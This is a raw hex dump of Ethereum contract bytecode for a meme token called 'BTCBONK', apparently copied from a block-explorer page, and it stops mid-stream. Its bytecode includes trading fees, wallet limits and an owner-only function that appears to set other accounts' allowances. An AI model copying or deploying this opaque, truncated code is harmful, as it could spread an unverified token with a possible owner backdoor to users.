8160001904821115620008e757620008e7620008ac565b80851615620008f557918102915b93841c9390800290620008c7565b509250929050565b6000826200091c57506001620004b2565b816200092b57506000620004b2565b81600181146200094457600281146200094f576200096f565b6001915050620004b2565b60ff841115620009635762000963620008ac565b50506001821b620004b2565b5060208310610133831016604e8410600b841016171562000994575081810a620004b2565b620009a08383620008c2565b8060001904821115620009b757620009b7620008ac565b029392505050565b6000620004af60ff8416836200090b565b8082028115828204841417620004b257620004b2620008ac565b60008262000a0857634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004b257620004b2620008ac565b602081526000825180602084015262000a44816040850160208701620005b7565b601f01601f19169190910160400192915050565b6123348062000a686000396000f3fe6080604052600436106102cd5760003560e01c806388790a6811610175578063c816841b116100dc578063da00097d11610095578063f0cd1dac1161006f578063f0cd1dac1461085e578063f2fde38b14610874578063f872858a14610894578063fb1eb14b146108b557600080fd5b8063da00097d146107e1578063dc44b6a014610802578063dd62ed3e1461081857600080fd5b8063c816841b1461072f578063c86079521461074f578063c867d60b14610765578063cab0347114610795578063d158272d146107ab578063d187f417146107cb57600080fd5b8063a83f53a71161012e578063a83f53a7146106a5578063a9059cbb146106bb578063b2bdfa7b146106db578063bbbc543c146106fb578063c469b6dd14610703578063c5d241891461071957600080fd5b806388790a68146105f65780638b42507f1461060c5780638da5cb5b1461063c57806395d89b411461065a578063a08e671f1461066f578063a457c2d71461068557600080fd5b80633ecad2711161023457806370a08231116101ed5780637abdc1ca116101c75780637abdc1ca1461059e5780637d1db4a5146105b4578063807c2d9c146105ca57806382eefb43146105e057600080fd5b806370a082311461053c578063715018a614610572578063751039fc1461058957600080fd5b80633ecad2711461047c5780634a74bb02146104ac5780635342acb4146104cd578063557ed1ba146104fd57806357a5802f1461051057806361a23c691461052657600080fd5b806318160ddd1161028657806318160ddd146103d057806323b872dd146103e557806327c8f835146104055780632b112e4914610425578063313ce5671461043a578063395093511461045c57600080fd5b806306fdde03146102d9578063095ea7b31461030457806310f055c0146103345780631245e347146103545780631694505e1461038c57806316f2f1a8146103ac57600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ee6108cb565b6040516102fb9190611e3b565b60405180910390f35b34801561031057600080fd5b5061032461031f366004611ea1565b61095d565b60405190151581526020016102fb565b34801561034057600080fd5b5061032461034f366004611ecd565b610974565b34801561036057600080fd5b50601354610374906001600160a01b031681565b6040516001600160a01b0390911681526020016102fb565b34801561039857600080fd5b50602154610374906001600160a01b031681565b3480156103b857600080fd5b506103c260045481565b6040519081526020016102fb565b3480156103dc57600080fd5b50601d546103c2565b3480156103f157600080fd5b50610324610400366004611ecd565b6109f7565b34801561041157600080fd5b50601454610374906001600160a01b031681565b34801561043157600080fd5b506103c2610a61565b34801561044657600080fd5b5060115460405160ff90911681526020016102fb565b34801561046857600080fd5b50610324610477366004611ea1565b610a8d565b34801561048857600080fd5b50610324610497366004611f0e565b601a6020526000908152604090205460ff1681565b3480156104b857600080fd5b5060225461032490600160a81b900460ff1681565b3480156104d957600080fd5b506103246104e8366004611f0e565b60176020526000908152604090205460ff1681565b34801561050957600080fd5b50426103c2565b34801561051c57600080fd5b506103c260095481565b34801561053257600080fd5b506103c2600a5481565b34801561054857600080fd5b506103c2610557366004611f0e565b6001600160a01b031660009081526015602052604090205490565b34801561057e57600080fd5b50610587610ac3565b005b34801561059557600080fd5b50610587610b37565b3480156105aa57600080fd5b506103c260085481565b3480156105c057600080fd5b506103c2601e5481565b3480156105d657600080fd5b506103c2601f5481565b3480156105ec57600080fd5b506103c2600e5481565b34801561060257600080fd5b506103c260055481565b34801561061857600080fd5b50610324610627366004611f0e565b60196020526000908152604090205460ff1681565b34801561064857600080fd5b506000546001600160a01b0316610374565b34801561066657600080fd5b506102ee610ba5565b34801561067b57600080fd5b506103c2600c5481565b34801561069157600080fd5b506103246106a0366004611ea1565b610bb4565b3480156106b157600080fd5b506103c2600b5481565b3480156106c757600080fd5b506103246106d6366004611ea1565b610c03565b3480156106e757600080fd5b50600054610374906001600160a01b031681565b610587610c10565b34801561070f57600080fd5b506103c260035481565b34801561072557600080fd5b506103c260025481565b34801561073b57600080fd5b50602254610374906001600160a01b031681565b34801561075b57600080fd5b506103c260065481565b34801561077157600080fd5b50610324610780366004611f0e565b60186020526000908152604090205460ff1681565b3480156107a157600080fd5b506103c260075481565b3480156107b757600080fd5b50601254610374906001600160a01b031681565b3480156107d757600080fd5b506103c2601c5481565b3480156107ed57600080fd5b5060225461032490600160b01b900460ff1681565b34801561080e57600080fd5b506103c260015481565b34801561082457600080fd5b506103c2610833366004611f2b565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b34801561086a57600080fd5b506103c2600d5481565b34801561088057600080fd5b5061058761088f366004611f0e565b610eb1565b3480156108a057600080fd5b5060225461032490600160b81b900460ff1681565b3480156108c157600080fd5b506103c2601b5481565b6060600f80546108da90611f64565b80601f016020809104026020016040519081016040528092919081815260200182805461090690611f64565b80156109535780601f1061092857610100808354040283529160200191610953565b820191906000526020600020905b81548152906001019060200180831161093657829003601f168201915b5050505050905090565b600061096a3384846110be565b5060015b92915050565b600080546001600160a01b031633146109a85760405162461bcd60e51b815260040161099f90611f9e565b60405180910390fd5b5060118054610100600160a81b0319166101006001600160a01b0385811691820292909217909255841660009081526016602090815260408083209383529290522081905560015b9392505050565b6000610a048484846111e2565b50610a578433610a5285604051806060016040528060288152602001612292602891396001600160a01b038a1660009081526016602090815260408083203384529091529020549190611659565b6110be565b5060019392505050565b6014546001600160a01b0316600090815260156020526040812054601d54610a8891611693565b905090565b3360008181526016602090815260408083206001600160a01b0387168452909152812054909161096a918590610a52908661105f565b6000546001600160a01b03163314610aed5760405162461bcd60e51b815260040161099f90611f9e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161099f90611f9e565b601154610b729060ff16600a6120cd565b601d54610b7f91906120dc565b601e55601154610b939060ff16600a6120cd565b601d54610ba091906120dc565b601f55565b6060601080546108da90611f64565b600061096a3384610a52856040518060600160405280602581526020016122da602591393360009081526016602090815260408083206001600160a01b038d1684529091529020549190611659565b6000610a573384846111e2565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b815260040161099f90611f9e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb591906120f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2691906120f3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9791906120f3565b602280546001600160a01b039283166001600160a01b031991821617825560218054858516921682178155601d5430600081815260166020908152604080832096835295815285822093909355855487168152601a8352848120805460ff1990811660019081179092559654881682526018845285822080549097161790955591548285526015909152919092205492169163f305d719913491600080610e466000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610e6896959493929190612110565b60606040518083038185885af1158015610e86573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eab919061214b565b50505050565b6000546001600160a01b03163314610edb5760405162461bcd60e51b815260040161099f90611f9e565b6001600160a01b038116610f405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161099f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610fad5750600061096e565b6000610fb983856120dc565b905082610fc68583612179565b146109f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161099f565b60006109f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d5565b60008061106c838561219b565b9050838110156109f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161099f565b6001600160a01b0383166111205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161099f565b6001600160a01b0382166111815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161099f565b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166112485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161099f565b6001600160a01b0383166112aa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161099f565b6000821161130c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161099f565b6001600160a01b03841660009081526017602052604090205460ff168061134b57506001600160a01b03831660009081526017602052604090205460ff165b156113625761135b848484611703565b90506109f0565b602254600160a01b900460ff161561137f5761135b848484611703565b6001600160a01b03841660009081526019602052604090205460ff161580156113c157506001600160a01b03831660009081526019602052604090205460ff16155b1561142957601e548211156114295760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161099f565b306000908152601560205260408120546020549091508110801590819061145a5750602254600160a01b900460ff16155b801561147f57506001600160a01b0386166000908152601a602052604090205460ff16155b80156114945750602254600160a81b900460ff165b156114ba57602254600160b01b900460ff16156114b15760205491505b6114ba826117d7565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526015909152919091205461150c918690611659565b6001600160a01b038716600090815260156020908152604080832093909355601790529081205460ff168061155957506001600160a01b03861660009081526017602052604090205460ff165b61156d5761156887878761190d565b61156f565b845b602254909150600160b81b900460ff1680156115a457506001600160a01b03861660009081526018602052604090205460ff16155b156115e057601f546115d5826115cf896001600160a01b031660009081526015602052604090205490565b9061105f565b11156115e057600080fd5b6001600160a01b038616600090815260156020526040902054611603908261105f565b6001600160a01b0380881660008181526015602052604090819020939093559151908916906000805160206122ba833981519152906116459085815260200190565b60405180910390a3600193505050506109f0565b6000818484111561167d5760405162461bcd60e51b815260040161099f9190611e3b565b50600061168a84866121ae565b95945050505050565b60006109f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611659565b600081836116f65760405162461bcd60e51b815260040161099f9190611e3b565b50600061168a8486612179565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152601590915291822054611754918490611659565b6001600160a01b038086166000908152601560205260408082209390935590851681522054611783908361105f565b6001600160a01b0380851660008181526015602052604090819020939093559151908616906000805160206122ba833981519152906117c59086815260200190565b60405180910390a35060019392505050565b6022805460ff60a01b1916600160a01b179055600c5460095460009161180d916002916118079182908790610f9b565b9061101d565b9050600061181b8383611693565b905061182681611b30565b60095447906000906118469061183d90600261101d565b600c5490611693565b9050600061186860026118078461180760095488610f9b90919063ffffffff16565b9050600061188583611807600b5487610f9b90919063ffffffff16565b9050600061189d826118978786611693565b90611693565b905080156118bb576012546118bb906001600160a01b031682611cc3565b81156118d7576013546118d7906001600160a01b031683611cc3565b6000831180156118e75750600087115b156118f6576118f68784611cfe565b50506022805460ff60a01b19169055505050505050565b6011546040516370a0823160e01b81526101009091046001600160a01b0316600482015260009081908190819030906370a0823190602401602060405180830381865afa158015611962573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198691906121c1565b6001600160a01b0388166000908152601a602052604090205490915060ff1615611a17576119d060646118076119c9600454600d5461169390919063ffffffff16565b8890610f9b565b925060006004541180156119e75750601c54601b54105b15611a1257611a06606461180760045488610f9b90919063ffffffff16565b9150611a128783611da5565b611aa9565b6001600160a01b0386166000908152601a602052604090205460ff1615611aa957611a5760646118076119c9600854600e5461169390919063ffffffff16565b600b54909350611a679082611693565b90506000600854118015611a7e5750601c54601b54105b15611aa957611a9d606461180760085488610f9b90919063ffffffff16565b9150611aa98783611da5565b8215611b115730600090815260156020526040902054611ac9908461105f565b30600081815260156020526040908190209290925590516001600160a01b038916906000805160206122ba83398151915290611b089087815260200190565b60405180910390a35b611b25611b1e848461105f565b8690611693565b979650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b6557611b656121da565b6001600160a01b03928316602091820292909201810191909152602154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611bbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be291906120f3565b81600181518110611bf557611bf56121da565b6001600160a01b039283166020918202929092010152602154611c1b91309116846110be565b60215460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c54908590600090869030904290600401612234565b600060405180830381600087803b158015611c6e57600080fd5b505af1158015611c82573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cb7929190612270565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611cf9573d6000803e3d6000fd5b505050565b602154611d169030906001600160a01b0316846110be565b60215460115460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d5b92309289926000928392610100900416904290600401612110565b60606040518083038185885af1158015611d79573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d9e919061214b565b5050505050565b601c54601b5410611db4575050565b6014546001600160a01b0316600090815260156020526040902054611dd9908261105f565b6014546001600160a01b0316600090815260156020526040902055601b54611e01908261105f565b601b556014546040518281526001600160a01b03918216918416906000805160206122ba8339815191529060200160405180910390a35050565b600060208083528351808285015260005b81811015611e6857858101830151858201604001528201611e4c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611e9e57600080fd5b50565b60008060408385031215611eb457600080fd5b8235611ebf81611e89565b946020939093013593505050565b600080600060608486031215611ee257600080fd5b8335611eed81611e89565b92506020840135611efd81611e89565b929592945050506040919091013590565b600060208284031215611f2057600080fd5b81356109f081611e89565b60008060408385031215611f3e57600080fd5b8235611f4981611e89565b91506020830135611f5981611e89565b809150509250929050565b600181811c90821680611f7857607f821691505b602082108103611f9857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561202457816000190482111561200a5761200a611fd3565b8085161561201757918102915b93841c9390800290611fee565b509250929050565b60008261203b5750600161096e565b816120485750600061096e565b816001811461205e576002811461206857612084565b600191505061096e565b60ff84111561207957612079611fd3565b50506001821b61096e565b5060208310610133831016604e8410600b84101617156120a7575081810a61096e565b6120b18383611fe9565b80600019048211156120c5576120c5611fd3565b029392505050565b60006109f060ff84168361202c565b808202811582820484141761096e5761096e611fd3565b60006020828403121561210557600080fd5b81516109f081611e89565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561216057600080fd5b8351925060208401519150604084015190509250925092565b60008261219657634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561096e5761096e611fd3565b8181038181111561096e5761096e611fd3565b6000602082840312156121d357600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156122295781516001600160a01b031687529582019590820190600101612204565b509495945050505050565b85815284602082015260a06040820152600061225360a08301866121f0565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061228960408301846121f0565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122045808851f9443fc7b076d8e10e51af1ad9e969b55c9dca841592d4bcbc0c65fa64736f6c6343000811003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000008669be5ebf769b8b05ee2b138817cdba0df76b430000000000000000000000007c7314550b83befbb7afb4d26f750d5e04ddc0de0000000000000000000000008669be5ebf769b8b05ee2b138817cdba0df76b43000000000000000000000000000000000000000000000000000000000000001b4841525259504f545445524f42414e415041434d414e20424f4e4b00000000000000000000000000000000000000000000000000000000000000000000000007425443424f4e4b00000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102cd5760003560e01c806388790a6811610175578063c816841b116100dc578063da00097d11610095578063f0cd1dac1161006f578063f0cd1dac1461085e578063f2fde38b14610874578063f872858a14610894578063fb1eb14b146108b557600080fd5b8063da00097d146107e1578063dc44b6a014610802578063dd62ed3e1461081857600080fd5b8063c816841b1461072f578063c86079521461074f578063c867d60b14610765578063cab0347114610795578063d158272d146107ab578063d187f417146107cb57600080fd5b8063a83f53a71161012e578063a83f53a7146106a5578063a9059cbb146106bb578063b2bdfa7b146106db578063bbbc543c146106fb578063c469b6dd14610703578063c5d241891461071957600080fd5b806388790a68146105f65780638b42507f1461060c5780638da5cb5b1461063c57806395d89b411461065a578063a08e671f1461066f578063a457c2d71461068557600080fd5b80633ecad2711161023457806370a08231116101ed5780637abdc1ca116101c75780637abdc1ca1461059e5780637d1db4a5146105b4578063807c2d9c146105ca57806382eefb43146105e057600080fd5b806370a082311461053c578063715018a614610572578063751039fc1461058957600080fd5b80633ecad2711461047c5780634a74bb02146104ac5780635342acb4146104cd578063557ed1ba146104fd57806357a5802f1461051057806361a23c691461052657600080fd5b806318160ddd1161028657806318160ddd146103d057806323b872dd146103e557806327c8f835146104055780632b112e4914610425578063313ce5671461043a578063395093511461045c57600080fd5b806306fdde03146102d9578063095ea7b31461030457806310f055c0146103345780631245e347146103545780631694505e1461038c57806316f2f1a8146103ac57600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ee6108cb565b6040516102fb9190611e3b565b60405180910390f35b34801561031057600080fd5b5061032461031f366004611ea1565b61095d565b60405190151581526020016102fb565b34801561034057600080fd5b5061032461034f366004611ecd565b610974565b34801561036057600080fd5b50601354610374906001600160a01b031681565b6040516001600160a01b0390911681526020016102fb565b34801561039857600080fd5b50602154610374906001600160a01b031681565b3480156103b857600080fd5b506103c260045481565b6040519081526020016102fb565b3480156103dc57600080fd5b50601d546103c2565b3480156103f157600080fd5b50610324610400366004611ecd565b6109f7565b34801561041157600080fd5b50601454610374906001600160a01b031681565b34801561043157600080fd5b506103c2610a61565b34801561044657600080fd5b5060115460405160ff90911681526020016102fb565b34801561046857600080fd5b50610324610477366004611ea1565b610a8d565b34801561048857600080fd5b50610324610497366004611f0e565b601a6020526000908152604090205460ff1681565b3480156104b857600080fd5b5060225461032490600160a81b900460ff1681565b3480156104d957600080fd5b506103246104e8366004611f0e565b60176020526000908152604090205460ff1681565b34801561050957600080fd5b50426103c2565b34801561051c57600080fd5b506103c260095481565b34801561053257600080fd5b506103c2600a5481565b34801561054857600080fd5b506103c2610557366004611f0e565b6001600160a01b031660009081526015602052604090205490565b34801561057e57600080fd5b50610587610ac3565b005b34801561059557600080fd5b50610587610b37565b3480156105aa57600080fd5b506103c260085481565b3480156105c057600080fd5b506103c2601e5481565b3480156105d657600080fd5b506103c2601f5481565b3480156105ec57600080fd5b506103c2600e5481565b34801561060257600080fd5b506103c260055481565b34801561061857600080fd5b50610324610627366004611f0e565b60196020526000908152604090205460ff1681565b34801561064857600080fd5b506000546001600160a01b0316610374565b34801561066657600080fd5b506102ee610ba5565b34801561067b57600080fd5b506103c2600c5481565b34801561069157600080fd5b506103246106a0366004611ea1565b610bb4565b3480156106b157600080fd5b506103c2600b5481565b3480156106c757600080fd5b506103246106d6366004611ea1565b610c03565b3480156106e757600080fd5b50600054610374906001600160a01b031681565b610587610c10565b34801561070f57600080fd5b506103c260035481565b34801561072557600080fd5b506103c260025481565b34801561073b57600080fd5b50602254610374906001600160a01b031681565b34801561075b57600080fd5b506103c260065481565b34801561077157600080fd5b50610324610780366004611f0e565b60186020526000908152604090205460ff1681565b3480156107a157600080fd5b506103c260075481565b3480156107b757600080fd5b50601254610374906001600160a01b031681565b3480156107d757600080fd5b506103c2601c5481565b3480156107ed57600080fd5b5060225461032490600160b01b900460ff1681565b34801561080e57600080fd5b506103c260015481565b34801561082457600080fd5b506103c2610833366004611f2b565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b34801561086a57600080fd5b506103c2600d5481565b34801561088057600080fd5b5061058761088f366004611f0e565b610eb1565b3480156108a057600080fd5b5060225461032490600160b81b900460ff1681565b3480156108c157600080fd5b506103c2601b5481565b6060600f80546108da90611f64565b80601f016020809104026020016040519081016040528092919081815260200182805461090690611f64565b80156109535780601f1061092857610100808354040283529160200191610953565b820191906000526020600020905b81548152906001019060200180831161093657829003601f168201915b5050505050905090565b600061096a3384846110be565b5060015b92915050565b600080546001600160a01b031633146109a85760405162461bcd60e51b815260040161099f90611f9e565b60405180910390fd5b5060118054610100600160a81b0319166101006001600160a01b0385811691820292909217909255841660009081526016602090815260408083209383529290522081905560015b9392505050565b6000610a048484846111e2565b50610a578433610a5285604051806060016040528060288152602001612292602891396001600160a01b038a1660009081526016602090815260408083203384529091529020549190611659565b6110be565b5060019392505050565b6014546001600160a01b0316600090815260156020526040812054601d54610a8891611693565b905090565b3360008181526016602090815260408083206001600160a01b0387168452909152812054909161096a918590610a52908661105f565b6000546001600160a01b03163314610aed5760405162461bcd60e51b815260040161099f90611f9e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161099f90611f9e565b601154610b729060ff16600a6120cd565b601d54610b7f91906120dc565b601e55601154610b939060ff16600a6120cd565b601d54610ba091906120dc565b601f55565b6060601080546108da90611f64565b600061096a3384610a52856040518060600160405280602581526020016122da602591393360009081526016602090815260408083206001600160a01b038d1684529091529020549190611659565b6000610a573384846111e2565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b815260040161099f90611f9e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb591906120f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2691906120f3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9791906120f3565b602280546001600160a01b039283166001600160a01b031991821617825560218054858516921682178155601d5430600081815260166020908152604080832096835295815285822093909355855487168152601a8352848120805460ff1990811660019081179092559654881682526018845285822080549097161790955591548285526015909152919092205492169163f305d719913491600080610e466000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610e6896959493929190612110565b60606040518083038185885af1158015610e86573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eab919061214b565b50505050565b6000546001600160a01b03163314610edb5760405162461bcd60e51b815260040161099f90611f9e565b6001600160a01b038116610f405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161099f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610fad5750600061096e565b6000610fb983856120dc565b905082610fc68583612179565b146109f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161099f565b60006109f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d5565b60008061106c838561219b565b9050838110156109f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161099f565b6001600160a01b0383166111205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161099f565b6001600160a01b0382166111815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161099f565b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166112485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161099f565b6001600160a01b0383166112aa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161099f565b6000821161130c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161099f565b6001600160a01b03841660009081526017602052604090205460ff168061134b57506001600160a01b03831660009081526017602052604090205460ff165b156113625761135b848484611703565b90506109f0565b602254600160a01b900460ff161561137f5761135b848484611703565b6001600160a01b03841660009081526019602052604090205460ff161580156113c157506001600160a01b03831660009081526019602052604090205460ff16155b1561142957601e548211156114295760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161099f565b306000908152601560205260408120546020549091508110801590819061145a5750602254600160a01b900460ff16155b801561147f57506001600160a01b0386166000908152601a602052604090205460ff16155b80156114945750602254600160a81b900460ff165b156114ba57602254600160b01b900460ff16156114b15760205491505b6114ba826117d7565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526015909152919091205461150c918690611659565b6001600160a01b038716600090815260156020908152604080832093909355601790529081205460ff168061155957506001600160a01b03861660009081526017602052604090205460ff165b61156d5761156887878761190d565b61156f565b845b602254909150600160b81b900460ff1680156115a457506001600160a01b03861660009081526018602052604090205460ff16155b156115e057601f546115d5826115cf896001600160a01b031660009081526015602052604090205490565b9061105f565b11156115e057600080fd5b6001600160a01b038616600090815260156020526040902054611603908261105f565b6001600160a01b0380881660008181526015602052604090819020939093559151908916906000805160206122ba833981519152906116459085815260200190565b60405180910390a3600193505050506109f0565b6000818484111561167d5760405162461bcd60e51b815260040161099f9190611e3b565b50600061168a84866121ae565b95945050505050565b60006109f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611659565b600081836116f65760405162461bcd60e51b815260040161099f9190611e3b565b50600061168a8486612179565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152601590915291822054611754918490611659565b6001600160a01b038086166000908152601560205260408082209390935590851681522054611783908361105f565b6001600160a01b0380851660008181526015602052604090819020939093559151908616906000805160206122ba833981519152906117c59086815260200190565b60405180910390a35060019392505050565b6022805460ff60a01b1916600160a01b179055600c5460095460009161180d916002916118079182908790610f9b565b9061101d565b9050600061181b8383611693565b905061182681611b30565b60095447906000906118469061183d90600261101d565b600c5490611693565b9050600061186860026118078461180760095488610f9b90919063ffffffff16565b9050600061188583611807600b5487610f9b90919063ffffffff16565b9050600061189d826118978786611693565b90611693565b905080156118bb576012546118bb906001600160a01b031682611cc3565b81156118d7576013546118d7906001600160a01b031683611cc3565b6000831180156118e75750600087115b156118f6576118f68784611cfe565b50506022805460ff60a01b19169055505050505050565b6011546040516370a0823160e01b81526101009091046001600160a01b0316600482015260009081908190819030906370a0823190602401602060405180830381865afa158015611962573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198691906121c1565b6001600160a01b0388166000908152601a602052604090205490915060ff1615611a17576119d060646118076119c9600454600d5461169390919063ffffffff16565b8890610f9b565b925060006004541180156119e75750601c54601b54105b15611a1257611a06606461180760045488610f9b90919063ffffffff16565b9150611a128783611da5565b611aa9565b6001600160a01b0386166000908152601a602052604090205460ff1615611aa957611a5760646118076119c9600854600e5461169390919063ffffffff16565b600b54909350611a679082611693565b90506000600854118015611a7e5750601c54601b54105b15611aa957611a9d606461180760085488610f9b90919063ffffffff16565b9150611aa98783611da5565b8215611b115730600090815260156020526040902054611ac9908461105f565b30600081815260156020526040908190209290925590516001600160a01b038916906000805160206122ba83398151915290611b089087815260200190565b60405180910390a35b611b25611b1e848461105f565b8690611693565b979650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b6557611b656121da565b6001600160a01b03928316602091820292909201810191909152602154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611bbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be291906120f3565b81600181518110611bf557611bf56121da565b6001600160a01b039283166020918202929092010152602154611c1b91309116846110be565b60215460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c54908590600090869030904290600401612234565b600060405180830381600087803b158015611c6e57600080fd5b505af1158015611c82573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88b